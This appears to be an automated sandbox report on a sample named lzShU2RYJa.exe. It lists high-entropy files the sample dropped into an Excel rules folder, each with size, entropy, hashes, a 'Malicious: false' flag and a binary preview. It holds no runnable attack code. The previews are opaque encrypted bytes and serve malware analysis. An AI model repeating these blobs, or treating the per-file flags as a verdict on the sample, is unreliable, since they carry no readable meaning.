Preview:	<?xml...BrK..s..F9L.A+._...".J...]...%..&.=....P...m4.9..6.......I.'..p)g.n...I.F..]._:w..mbA..d.H...;....0.A..p.[.\|.S.3q.....w.qsv..>f........<.%....5.z..w...6..{..2..b.vMk.f.M...b....d........}0-...3..<n]....1.&y.#...LF-Au..L2.1.fF.N...%.=^F...I..2!.Cu...,T...a....\|\.A.@..l..G.8.;.......#..,O.....h....o....e.(\|.,~.......0...y................6z.p.h.EB}..ta4.9....w.'..j..y... u.d...\]...4.).....K.&..jwH...f..y..A8..Z:.9....@....qq:h`..4b.;..f.".6.. ..fv....1.A.C8~2.Y.I:.n..:.<D.._.....d.......fk...&9.g.J!.E...(...<.d..T5B8n.....d&4.x.VhQ.=h..!..X._......W....8..Gx..(_...VfA]#.g...e(O....W.04.?l.U.!1..N8...9GA..%H....2./..,B..D.K.K.....a..~.....5..n~V.n...N..(K...~6.5..$....s.`..W;?Z.j.Q...U9%.J$....zr.Z...o.x.....0j....#....W:./7.s/......cq....l&.%9F....C.....LD.c........ac.....Z..6.\.d.........T~.9....(.;.l....).@.Q.....@.w.\g4....<.P.....C..X.....Z.Cx..K.:.2.^.n..^..O..$i.io..YZ.....i.w.2.G..6...d..A....{.r.<j...H.&..>_.Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63041v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	7.896698627828348
Encrypted:	false
SSDEEP:	48:lG52bn6FuM3CS7RK2CRMEhJ2CU1wMgn6zh0jNFD:c5kn6Fn33R7Cqo2CG5G6FY9
MD5:	1872E3D8E7DF9A479DB13BE868DC22C5
SHA1:	4B7AD796E37C3952FAD43855EF0FC2F682F08B6C
SHA-256:	A30DF92375254D303567FA32641905A1AA748DE0C6FF6E7C5E072ACB9F0CA114
SHA-512:	E1A52F6F748DF6CB9412D9457C3F8697D04277137123EBE6CA03E42DA4F68B179855543EDC17B4CD8CD6EE08E1EC03C91E7CAE79AE65EBD3F7A8202CB49D2687
Malicious:	false
Preview:	<?xmll.........(!....r?....{d...oaH.....T...#.../.L....R#T...v.....%\...=L...Y..W1.CY....C5..B?..S1.B.8..D...FD..>.._\|.zV...+.G...+........j[....f.W.x.G....o....oc..7;....pOa5....w..$..N...{j..qc...d.I.....I.....V..0.}L.-....t.w....F<.......mG..C,4...Y'..%-..%._1..y[......."?....n@V..:..(9?..bD.[....=...~...\u..h@......v....C4.....1..4<...."].0xr..zUuH<bN....$.. R....O.... \|aW.. ..O..z...8...I...k.WFL.M...9XG..2..VR.o....x..<.);}.B..E\....5_.c.Wx.!P%...%#..-...%..C.>..r.Y..s.07.U..i..5..+.Be#...8....~.CS[...I..."..{..`...Xo.`..v..n.$:+..5v..F.$P..{...M.II...q]....z/YF...k.o....cw.2e..k.6...iIVF4.g....e.t.....YlNN......e.....p&v."R..e..d..yZ....2..?2.\|..q.....m.kA..V.....}'....'.K..>...t.....GaA...6..F3..t+k}......gfHR..jBE>.SK......~[TUO..8.,\.2......8.N(.u..=..2..H.....F..Y;J.=....*~#..E..oM?......a..f.^.ez.)o.e8..4..~..8.9..Y.........c..O.Y#.t...%.......H..N.-<....<.~..F...t5pv^..(U...}.kOG5.j..q..iQ...C.p...8..-...x4<X\.......q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63042v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.773636178955234
Encrypted:	false
SSDEEP:	24:u+IBf2TlDUYWww3mFkxvBUMLaBtdKCVbD:ujuT6YWww2EvOMLSvTFD
MD5:	65CC084CC7E17BAD0DC879DC164086A0
SHA1:	B8FC14094E69421CC236C14DE732862045D0A509
SHA-256:	611ED101675CB647E1D281FAE821FF4B6B16FF18E303959EB616BE4E321A80DD
SHA-512:	0F66F7FA9E646C245AF912B8AB6B210FD9BD1BD58D0003692441B289D1269B9A4C919F61F12E169E6237AA0479DC4051AB9C3C28904E4BDFF030C5B2BE7A5B7B
Malicious:	false
Preview:	<?xml..U...Y'....r^Ny.d.Z7Z_.9.k......I.(.f....$i}.....M-..$..ULSG.m....RY.6.@......v..N6.R!..........R.......M.....A..Q..H..4...o..R.a.#s...W...]...A....6'...x@@.;.......ar.E...h4...q..\|..c...9.0?f.......}......."cV&.>#^..+...vV........s#..5TFC.GrQws%7.....B...M..;6.@...y.@.5....3...Cw...S].V.f....5%/@G.....b.L....AY,.}..N:...8..d.m..-I..,.....+..P..uC.....S..Hm..Q...\As..OWW0.s.W(.w.L...8AQ;.}V..d3._K.hW..j..p.l."J'6..%...<..]5.q.5...I{.j.......u...R..%.......}."J.F.......n..f6..S......N..J.r.<V...l...'...+.T"....1j..`.{.......f?....C..x....J.hi.~FT..})D..es.T[CL.ub.~.@W!.#T.H.3....1.......4.K......\|..........j.(-....+;....<.....6..!.....d.....k.@.....b.h......JG..d._.".J.D...%.../.6J.]j.."@.=T.......-5.Pl..}...k..NytQ~a...*/x6>..a....../j.....g....T.f..1.`..+../q;a.9....GVL...GO.....b.g..1.X"....\| M^.1.........})....'kJY.O=.@........8.y+'H>.9'n......Nitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63046v10.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1950
Entropy (8bit):	7.900564044267706
Encrypted:	false
SSDEEP:	48:uKxSpXvLYpZcAYfi0xm27803bHEGhXAg2ReJDTFD:T2LQcTD8GbhN3DT9
MD5:	59603A0322F4A94C42694C9E8F2A2EDD
SHA1:	DB016D02099943D0A23A7C5E3CE4A6024B4DD23B
SHA-256:	0F99E20D4D2714828CB8953DC32D92105BA710D7264A1F7EE236577785F43981
SHA-512:	67CF5C1FBCFF5EECD5B1526FE101F4CE25FD24FEAD9B9FA0C6EA9252B209D43E207B06DE2A95E9BDEAA5ACCE15960A08986E170A004B3F7B43CB0EA4EF1E7C12
Malicious:	false
Preview:	<?xml...$...7.-.D{.}..r..a.&....E...~l..Z.o............+4.>r......LJ!.q.{}..0.AE..$.`~.\|.o.n.....'.B....^.@..ax.5c/.:.4...-......A..8.."..$....:.g(..uF9..%..t5.....R1..D.....H,q..$II.(S..v.5.d...P....msZ.....7J.v......l.=._......./.Uk.._a..2m...j.:.1n.xR.r..M0.._7....eP..hS......z.J.%@..e.!dP.`6...1yt..6..L_..aW..s.[........=.=-...U...b....#]......c...m#;-.q.e.Z#.......E...'.+N`".x..w.}1L.89AR....@1.[Gf2.qa...B...r..c.\|<{HlI.J..vP.o:%.p...y..'`......P.XO.e..q...7......hG.)N....c...O.=..7....).X...-CM...J.NC.=\..L...6V.f._....Z>.i.2.Hb2.g8..>{I.N/..<.....#B.n\|.b.X.....u...G&..r...K...:...'..9...N.....;H.2Z\|.._>Q..fNg...)..z!..h.y.C.AV...]. ....... ..S..EF....>..~.x..s:Y(.b>^..9......-..2 ">.%..`.....YU..#^X..6....Q?F...^...@.`..F..XD..Y/.6!..O..0!.4...:\|tR:V......b..r..<......:../.....".V..o...s........f...gp...t.r(...~.5........../DZ'p.x...a.!.6.>x..[=....TAr.D...X.Y!.w....E(PX.@c..........'>O&bD.r.(W..6.4..Z..Gt.#.N.O....(=....X#=....5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63048v6.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.95460844312592
Encrypted:	false
SSDEEP:	96:4VIz8OWUVboVUPp2/Dasg6QsWtEO3AeY39ng8PL6YRuTr5yiv9:xAO62PQasultEO30B6YRutyy
MD5:	4C0D51D9030B9FD3F3F84E93BA80F02F
SHA1:	2C6CC99C2132302879AA47F42CAEA03A6AF290CB
SHA-256:	D1ADA1EDD90C96910B8C18B52C73E33507EB4218F8FCA0D17C3703B70B62AEA3
SHA-512:	666F2286BDE170EFF265562A8E1C349CF0EADE907F5CFB30B6ED622E72715166ED5E3BCC3D3738743E01CFBFE7A3559AD9606917F40D4C3DC84839D9BF1E4A2E
Malicious:	false
Preview:	<?xml......0L..$s0.&.....Xw....'iM.c.y8.u....d..L....[...I.&q..'.....u..5Ah.._i.*...o...\|.).)....n.D....F/Iu...%.g.>....M..[...{0.p....A.d..@....?Y.c.#.eE.......P.RR.....L...D....n..a......f....F.N......p..N..ug1o..3...l..P.G%..{....R.MW4....?1.M.t...BH.z\|.H..;...X......]!.a+..N^...+D5ui......ax..6...j.i.....!....Q.....K...1.u.D.5[.M..l.....u......Bg!...\W.w.L...LD...(..b......(..(.........^.._vw.....I..3YW.j..tG......._...h...<.lH..X.kM..S.r...:."a.q=..r..p.`.7}^..5jCc.h;I!.tW.+.....'.BoX.glA.._.u......8..OS3.......vy.j....rp.p..\l....GA>...{..:........0....'....y...:a.m...a....V.:2..-KZ>3o..g.&...f7.....8SF0...e/Ve)#X.W........*.[...G..v4..}.[.}b.i.lZ:.f......,.H.x..P...3......u..'.K..y.l(Z.g..8@:....(....:......9...r..+..3.0L..9.5.....~z.g..~.%..C".....-BJ..H.u5......6.!....N.y...b].p...k..\.V..c..)k2.=..h.?..F9...+Y..C...t.......[~...i...J.T..6o~lC(r.~.... #.b..M....H.q...Y1.l9.7.$.P,.G.U.7.6.@8wUl..@5.../..p.w."u?q...viy/...h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63049v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	7.887006075369907
Encrypted:	false
SSDEEP:	48:OHe4WnOKeQRTkP8bIM0WWVI/RmcvsJsmHtg062UNgFD:OHe49FQRTkP8bIyWV4gosJJo2UW9
MD5:	7966029E3A6B2AE14A6CF4A5BA858711
SHA1:	D4F0D86BEF02BA1AF2A15BE61BE79D6033F10004
SHA-256:	22495D93B065235EE84B5024696FB9B843ACAB381012F6781B01DF68F21AC5BE
SHA-512:	FD1722E45C2F7A0B48A99A1EECD030F83DF033B91B0B9FA3F942BD07C93CE47E86A572125ED4F70CF531C1169751B3BC7418D0E4F74890D3CB81275C932DDB97
Malicious:	false
Preview:	<?xml.-9....FkX...}\|...R.8.}.,Q.f...5&.A{3.!.....`.WJ..\|..M.$u..z.q...}....-..S\..o..&p.)...7....@.....#=..=........k......8D._~Z..F.......5`..9....Rq]..f.:@..T5.ke...=..d........W.`;[e..\|.$x.P..H..C=<.....)Lb@.9n.....n.....T.WM.bZ=4t...t`..a$.{.V....{r....Y.......1...bo....l..0v.x.@.HG...~...D.D;.....y....d......qn.c.....V.6..@.....Vf+4........rDJM.-.................t.(..Y..eIz.0_.$...\}..<.Z6...!.qM"w..7K..uE.s...t.$y. .....O.!A.+.....)...?x..E.l`.+...P...p.(...V.^.......M.....v.E,[{zXcl.....N-3..8IK.<G.l...T.c.....8..0:..e.f.BH...i..c....E.~.K.:.,.j.)....~.O......^.-t..=....sP.......1.h.\|{..8. ..n.G.....ld.[.&i.....W.....>c..6Y$....>W....t.....R......h.......@%)%_E.`....[........\..B.....d..z..B..x7&..."....pA<_....... F.e}d{.....~+....C......-..c...K...B....FR.].i._.Z..a.=!.......D..J9.iD........-....2..l.....=..+..D...b.@1g....M1..........q..<..e..%..1....i...E..A,;....m*.9h.l......^.\._.g.... /..\nk5.{....)...!b.p._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63051v5.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	7.8812859166047335
Encrypted:	false
SSDEEP:	48:x9vGo6f+BST0li/HHkCUma1HyWnuDp1vrT0DkHwIG+hxKFD:x9O3+BSAU8Xm2MDpF8DkQIVK9
MD5:	C5678C1DB5FE3064A59BDF42CFDF1720
SHA1:	C06DCD1BB13998760C75B5DEA3888851AB68377B
SHA-256:	BC147C4EC36213A7DCFF95E720F4D489531AB35D4FF37C68591AA9F7A1221446
SHA-512:	70A96793D14505A19830DBD9C0A123114BC7FEDC34432A97EC7AE7D97A11FB23F2D1ADA176A3EB3F034A76A1FB4128D6088CC02F2768066ED5C5118E71173E55
Malicious:	false
Preview:	<?xml.B...~..H.....H3.. ...y......"{P...QJi.W....Hr...w....(.j...k.lZ.vI5....8_.JS.^.Hh.C....u..x.}d.(G.Bl.H.YD...O.pf(.iv.:..<\..!.D.Z.........T...=........`..=...u'.(Vs8.}.{q7....~4;.lz.<.Yr..k.\|%.\jxZ.^...$!.:...8..M..H.%..B....I.p....(.v].%....z........C)O..D.......o4.4.\|^..oT...X...h.....zD$.,...b......z_c...3A..O....N..I.P!<.T.l.Qt.j...,.Q..X.H....S).Drjw..E...0......D_b.k?..5R.{5:.z...Y..@;:...O.9.ca.w..o.Y.Z....4.m=.o.....H.{.j.z~........ZE.8R{4..>.j.y.Uv....F..x..L.h%.M.ciH7..q:..=A..z.P,8.......0....}`.=..].=x.s..f. ..C.6./..S.@m8i......`.t<..)....MK.N..=.H..o,.V....b..(.'......Z\|.Cw...,..I...iW..vBP..N.... .~.;!.iX..].\|!!G;.u........?.FT...'5.VL8.P..%....;.@'Ad.g...!1._Z$.\|aIMq.E...x'L..;.)..}(.....G....3..{.n.-;zv.=51...?......N....\|.....mp1....X.R..;...Xr.G........{..)....&....V:.q3.i.."..w.....]s.\.).._..S%...\|.t@....z~..VL.a..ptc......>.................W.B.Y.^,.........w...q-.L...W.;.(..tg...(D......Ap...@0..o-...8G.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63052v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3091
Entropy (8bit):	7.932934672493664
Encrypted:	false
SSDEEP:	96:qtHbsNyTLxgKHXI4GaprYEdLv9BM4ZVL2Dqrn5/Bqu9:ib1LxfzprYSTMm2DG5q+
MD5:	68DBD9F2C37785F1ABBD2BA7CEBA4267
SHA1:	1B9D92A12DCCB4BEBDD45468C5D8FFFDCC9EDEF6
SHA-256:	C739F111965154CC902DD1596FBBB37571C2295C09296CA6CA15268A22EE36C9
SHA-512:	7488FEF902066E66D905BFABA57602D02D4FECBA71B2A6983C3F312F1B881173D59DB7E5939EC7A6D19C8EBD69AC73B1FAD38A3E66942D0658ADD4795E2E472C
Malicious:	false
Preview:	<?xml...a(H...F..Tq#&77N[....@.B.^..gF..M?..>..v...\Obt.:=.f.E.w.&.../.L...<S....Y..fL.....g7.JW.\|.......fy.u..'..z.QE.T$...l...&..N. ..g0...M...r].a..]. ..o.}..W......v...S.nz...x=8...hT.V....=.......F..a.aV-m}.Qq7H5....Es..(..N.....,.....g.jr...M..}.....^K.1......VF.Po..g....^..{U<....;...w..........XwE...)K..@....\|H..7{C.Dc..[.....}.(EE..g....G+db!......7.V.....b.g.T6......O..gW........Y................Z.';.%..9....... ....F...o......?.........s.Y.......k.gG.Z\.....D.9.6..k<]2..:.............M..~.].4.B3.u4.Pj..B9..5J.V.;..Y/.....6..`._o(......L..Z.n'....7L....O.G^%&.N...3E...wk9M..:.,....8..:.Zy ..K..z...C....bJV.wEt.G..q~...}...=...s{..-..x..q.f.....!..=..j.#..X.....9$)..N._"T......!U..m.\|En/.G.T...9..qB7..U+$E..". .].k..]...0Y$p..h.\|.=4_...z......C...t.6..s.h-.o}.M....S2.-.....hl.r.l.D...WB].......*.......yOO=^pF.Q.N....$.x..,.m..Oo......$2=.;....).y.0.7!.m....D.c...........^.KQ......H!5...K.6...@.........N ..M%.R.b..-)...".c...c.o..^.bf

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63053v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.761889960430284
Encrypted:	false
SSDEEP:	24:CSxoUoYL35n3k5zkFagWggdSDbaW+iVbD:RSxY75CzGa/dybFD
MD5:	6870056AC0345F0C1C76194276656DC6
SHA1:	F6BFC9780DF7B5991802937936F3A8DAF6CA1469
SHA-256:	BE29583990AB9C05A0864BDA7C3121E2D96465479850C6DF09B25736542B504B
SHA-512:	D655E3C8C60447CC8C5DB7F39ECB9A0725A114234FD01046C440F0BB7DD0E88498F0D4AB5103D13C7791B6CCC5D23F45C9AF6951717D3431FFBA37CCD1D514DD
Malicious:	false
Preview:	<?xml4.....(...S,.K.......6'mR7...fw.e.x.38.7 K.w..;...>...........M.K.Ar&......>.&HF$..\|I,...X.T..#.....'..."a.'..3.j(..K.....o..Xfcm.u.m......K...x.oo..,..].Eu\|.i....}.......i.`.;\s ..db.....A...CGE.[.axK..Czf...p8...Hw..w6[_9..n.v..b.G.;..Q..r.w..`.....o..p......5..S.-s...N.uJ.c8.p(.r....Bs..]x.}..-......{.,....>.......f]'Xl..A4.K\|....E..G..#.?....b+>.P.a.\..T...XChD.L..<.I..n......H.....C.@...a.[O. .?<..\|..zI..}...m......../........;i..L.}~.$....7W..QF...\..._.}....DIx.MZ...b.N...4.........0.i...+........3T.Tn.a..Z..cQ1.\.r3.._.u....@..wL...d....'........s..%..f..s.z;..C.>...V....7b...==.,.o.O}.c.>.F.7:..Jx..>G..a.#...G^x.nm..jv......#E.4.K.X.U..x4..4..L..@........P.{.D......H.m.<.........-.. ...lM........i.... .9.hJ8>..(.}...\#c...#ldX&..z~..N\..u..y....w....e...<?_.yg.... ..V./..SH0@.F/...g.=c......E.....2.._v.V../...R.^.Q6..w...8..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63054v5.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	7.909745761492089
Encrypted:	false
SSDEEP:	48:DiQsO4g4zyGDIwGC6xLoCf/hiIsOZJcHFtpRBNOaVYpvBFD:Dx14ELnf/hiI5KHFJBkaVIB9
MD5:	18CC17AF4072905502BD1358BECD9C01
SHA1:	67F50FDE1CB093D9D5952EE47BBE426AA53DC79E
SHA-256:	60ED23276EF1303AE3832BA306217246B6A216C32A08A25445C76B471006D7A5
SHA-512:	59D88C5708F650D6FA41C99F6572AB738C409553240EF5D12A20FE4DF2FEDDE03887CE48BF140447F75E379DB488E300D213538027FF05A16BD222C2FE561E42
Malicious:	false
Preview:	<?xml.k...vd}Tkl3.6..<[H...Q...M,M...v...#..V.5...SS..H../e[...E).A.?....B..S.t{M..T....6$YWr.VsH..C..nA......WJ......k!.8..P..9b......X.9..... .t .Q.?.6X.?.5..!...Au....$.[@V@....T..G.....D.T..thoE\...2a),..FWb.zq.p......;F{..6@.......w..<..(<Z4.v.ebUkfh...r.#...n.{\|\|...>."S...N.....<...A....F..\|ci...v...tv...@.D.-...M..CMg...q..R&6..G.{l9..;]....U.Cd......E..U..pr.........>.a...q.....K>X..y...lO8W\..8.../...7..{...l..!.o..l...[.&>... \..........^..#u.sc.b.j`.....y6..Z.i../..\Nz.5-.,..VP..a._....a.....%.."....zW..$....f.q....-..^~..?..B.A.W.....c..P...lT.}.Y..e...cJ.Y..f>.T..+..+...?jD.z\|.....b`/.J..U...Zv...{....T.[).%.C......C.....\..1.{..n....]...0..Kn..^.....,+bU\Dg....S....P...d...~.......G..p.[..+h...3.x\XP.:.;-_l.q.ZF..(a._.DO4.L...~.\|....)...v.(m.D;.5..%.n.........B..f...r.A.g..xW.'...6.l.f$.a..T.p.D\|i.......S!.~.z.1.5lF?L..b..c.M$..9.5V.V......B.1.]..a]..c.K..G..Z.r.....}}n.....%.....H....7.:.=....W..^..G.C......u.>_bF`.%x....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63056v9.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	7.93670695234695
Encrypted:	false
SSDEEP:	96:bKRpfk3TVZadMbH75/oUk/zDruXMWvQDtd9:WRpf6hZ7H5Vk/7eNoRz
MD5:	3795A09FD458B607153FF93571771430
SHA1:	14ED791B01EFB7A32A9DA3A0BD77D1E98B3BCD37
SHA-256:	71AD9E28BF76415CF7E4EE1277B4826A226910A68F3171C008F12091AC402039
SHA-512:	87BD67CFE7C4448495A2465D5EB07C580F303C67547C001B3FE83F2B647025886D5864852E0A49BD8A8F878E406ECBC56D10FA0645FC31AB943DFF32F8AFC79C
Malicious:	false
Preview:	<?xmle....jW....W#.E..>.o....3U.`6..6.-............'.JA.?.9.a...h@..k.`.+8^rB......0..5....FK..i.7=.g.{....n..hL................O.......b..o.g..3.T$Zv9...#3..\|X.........3@f&n..(.u$.e'..@.P.:4...M..7......{...j..7.....PS....k.0.e..}.._....Ems....c.EY...g.......7._.E$"..2v..4........c.....z]d...H.H. .i5.........4...u..N.4.6.._..c....L....i...t.+...<.B.:....`..v.za[.\|...#0.A..#..bR.y.b....5l...B>.:$.Bx.z....l.rt./.<@....h....-..=/e..9i........3...@;7?U.3dA.oJ.y...D..../.u=78.._g{.G.3c..LD....\..c.)..$.K..-..1f.\|...l..8...}......gNY.)...c...>.#.9KO.....tg3...&.....P.I.....!.qm``z....y.".W..t...=.....~x<:t.:..woR.....%(......w...d.....W\|.^..^.O+.F.....\|..8/...%MEG=.)@{a.......o\|...-?...F.d...M7.,..vv........\|...A;..wu.....F.\|4.+....cbZ.z.&....u.dN.).N.......i..!..r..a..R.+@.^O.O@..)..^..!.S..es'......D>.....v8.>...jo...2...^.r...u..^...d.o..F.i.6."%.h^Y...Q.z1b1.].*.!.J.PVl...'.[c.0j.h......W.s=K...]t.?P.s..m^.A...t.....aR#s..YH..3.D5.(..aK

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63057v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	7.922715069181057
Encrypted:	false
SSDEEP:	48:Rslmu0DZHbeWDSTSy7mNJLoocPrXeTdLopHz6XcyISuyLQOJ4dFD:RslS70yNJLooMrOTdLooMyISuy099
MD5:	1DAC0EACE5E8841A3AE785BFCE8EFC78
SHA1:	C55A25A50051D3E0C17A2CE4E3B70001BD8183D3
SHA-256:	4501BBDE9BE33D713F9616E03E98E0EBC1C8A0BF0979B2FED8643DC76752292F
SHA-512:	7F26A176EC4D4C183F12E1BB1641064B6A80BE0D40927E4AB7057BB742F03B32CA4695D8C867FF2755342646D1EDB369D7D1B8906086807947C32ABC25E936CD
Malicious:	false
Preview:	<?xml..g........D }/..#....1z...R\|d....!v:....[.......h........2S....O.:..0(...O+.>.(.s.}.Z......Z.Tr)p.[j4P]H.....be..0....W...k......!..%._._g.S5.1.".5..".5.T2e@.4...n.T./U=...9..4.Q&.;..1.].:".B=.\<7....C...B..z..}=.S@t.Q?..b1.2...8#.......K.:<...OO.f..K.6..S7.. ...e..)K..(..(....X..X1..8..........t..J.R..rpD....h..QE....6i&H".;..C.-.E.......N..?...U4\....=x...L..H.T..}:Lk..D0..~ .n.......v.`....)..&...IZ.....+.s..C.mA...F@..pL.....i..5.}....T..4.y._Z\U.....'`{qU.Uf....t>.U...9..S;.S..._<.h8.}.U...t[..'p7F>[....!.Cc.....V..^......RH....d3...{....[vaih_.^....[;.7h@.?"......ll`.W.....%.eZ ..........d......z.Z..g.;f.;..]jCp&P.2.z.x\W.."Q._...D.W.wXJ.N...f.U..^ rCH....]......Y...&.#2...wR..d..E@.....!l._..z..[~.{/'4...L...H..IF.z...@.h3..N."..;...v....&-..NDc...)..Kv.G.....t.7pI.{..+. .iZTs.....'.1..C....m.<._.KC....+...z.q...."X.X.C...Z..2.c;..z..S,D......7.6t.......+...X.F..V..f..h...d....*..ET..3...gN`. Q.x...q.^.@..S..ja....:].#..p..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63058v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.86581791608274
Encrypted:	false
SSDEEP:	24:HwNoARwAl8KtIbWUfRkTR9z9yfeUvFa03GfRcVbD:HwuARjttZSGRufe+Fa036cFD
MD5:	4540D81837B714DC353C01A82D284ED3
SHA1:	9E1B7E39B1FB008AA6A02932A593E70BF2804CEB
SHA-256:	E858F0F72551AD4F84008142578F2CA4C0821AA3CDA8DE02BCAE911F9B7B3AFF
SHA-512:	0EA8D7894D6BC291F551D01C1092FF58CC258F18063964E5082A57C7AD23AF040A28325EE62BB6F48AFFD612DBD9DA4A05D26B2F23DB4C7A83F889730EC8E422
Malicious:	false
Preview:	<?xml......Uo(..".......+..:.....[..{X.q.^"q...ez..5.....Y..D..hoO.~G....2.P......v.r^.&.H..S...H...g....61).....p..t..=y..7VoL..)..A..?MUH.h..$...te...O'@....."...10.xf..W.U.=..;'K.n.........W..@...F@...d&.Ey.a%......evP..&.p.d...@..r kt.R..xrs.!...3..`.p..tVBz.f...U+R...h3,;..._P...@.F.O.y3.z\|N.T.V...T@...Z7...8..E......ZQ.L@...._p..[.b..O.....i..[.X..........q..K.`j..5.....8...qA.?.5.VW6q..0k.>..%..m_.3....O.s.bL......:..g...'.Z...T.(U.s...Y........l.TM.@.#.j.b&$g...W.7w.W..m....4G..?c.K.>B..u.N.J......,.AB3...}...]..9:.TV..u......+e...z...+u.X...1......"M..).....E...J.\|p..E".TU.:..A[.sq......I\|...;.I......\..H........j4L.J..V...GN...= F......=_....JQ.......N.]."..8..J..7..%....m.D@..S.$`.a..(.[. n.f..o...0#....er...ZC~.T.1@...D.Z.hB....]..c..m..X.X......`2.\u.2...T..._U_..atN.......-.S...\.S+.....6s]u....jIg......Gh).E.M...=.....!...[...(...n..I.z.H.a."..+.......}..KOu..l^..(@...[.. h9!.\.].=..GW.}E."Pp.<>......{.......V....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63059v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	7.751658292525709
Encrypted:	false
SSDEEP:	24:hUTm0AUN/iKrK4srqdXlncKVKM0rXDgFcAE3cbNiBVbD:KTm0zNdrK4H1lD70rTYXEMbuFD
MD5:	33C345BF168571813F0EBE72054262B8
SHA1:	0396C42F1A2AE02C1DC681A51C54CFEEC97B1D80
SHA-256:	66874C8DF58D25126DA0D2EA45B9B8B14BAAD1028BE21ECB40D997632F09AE67
SHA-512:	E288ED3D2569B92D46A9FAC9D7CA67EB5549580D96EEEF6CEAEAD19A917693BD6F47B0E2048E319E919E60B15A909560290AFD06B3F7F51AA5A866DCEA26F2E5
Malicious:	false
Preview:	<?xml.n...Z.0.........1^.A'g.b\|FZ.....(.s.+...:..i..+........v..lj..s..xG..?..A..c.....5.Z........h5....F\|.[.../...C.+...X;......b..E..\.J.S.B.....Jo\|.2<.."...s..gY5.......HO..~$..p...Qk..ad2....P.#....S!,6I..?/.z\..H...V .{....S.D....P.bI.D.....Wx......&.Q L...&^.6......7p....V.%.._..M."w..Z.....[..t....y)...-...3A7OW..u..r`...-tI..........m.x..w...y/...."....~.Z.V...S..7.}..P.7.X;x],..4.AD.1P..x...K.._SUF....G.....y,.yP...S..3g.5.>..;G..=t.._.X="...../....)0.......k.Fz.M.(..]..........8..}fv.b~TX8j.h9.Ul.6.9MN..&T.._u.v..2.y..$kx...uW...W..."...(.PvT......v..N%.$.aL3.q...;..z.f.^.=...jT-...d&.%.......2...GE..\|?.`b.o9ep......1O..Fy..h.%...6<..}#. .....6..,..XWs4....-...R...w0.a...a.A#}..x.S...n.....r.>[=.".\. ..D.Y?.......'R... $..C."4..40.._.DD.j.%eu...P..1Q(.-."..s...<..q...4..\|..C.....G...W...-=...H....t.....?..@gD..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63063v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	7.811661624614281
Encrypted:	false
SSDEEP:	24:VVxmh3rVmM9mjixfxOJIYNp+7n1Ozk9J8RV5eUkbmb+bcVbD:VwlGiHOJR+z1OzaJoVkvmybcFD
MD5:	A151C8292E93F57A90E5C2F68CADE416
SHA1:	FF64977F125E6D1E7805DE0BACC12BC2350CC66A
SHA-256:	A8503C861B5DE40F6C658234DD1B7B992591B4BEB38C5793517BF1F6978E7262
SHA-512:	137A7D4F578613C6141F58D792A301C26DA491CA1B34223D73D0335D86B9832BD74E9C35B0C8B676A9EF4F76C5C2036090DA10C3224D48EB56EEA02C8C247D14
Malicious:	false
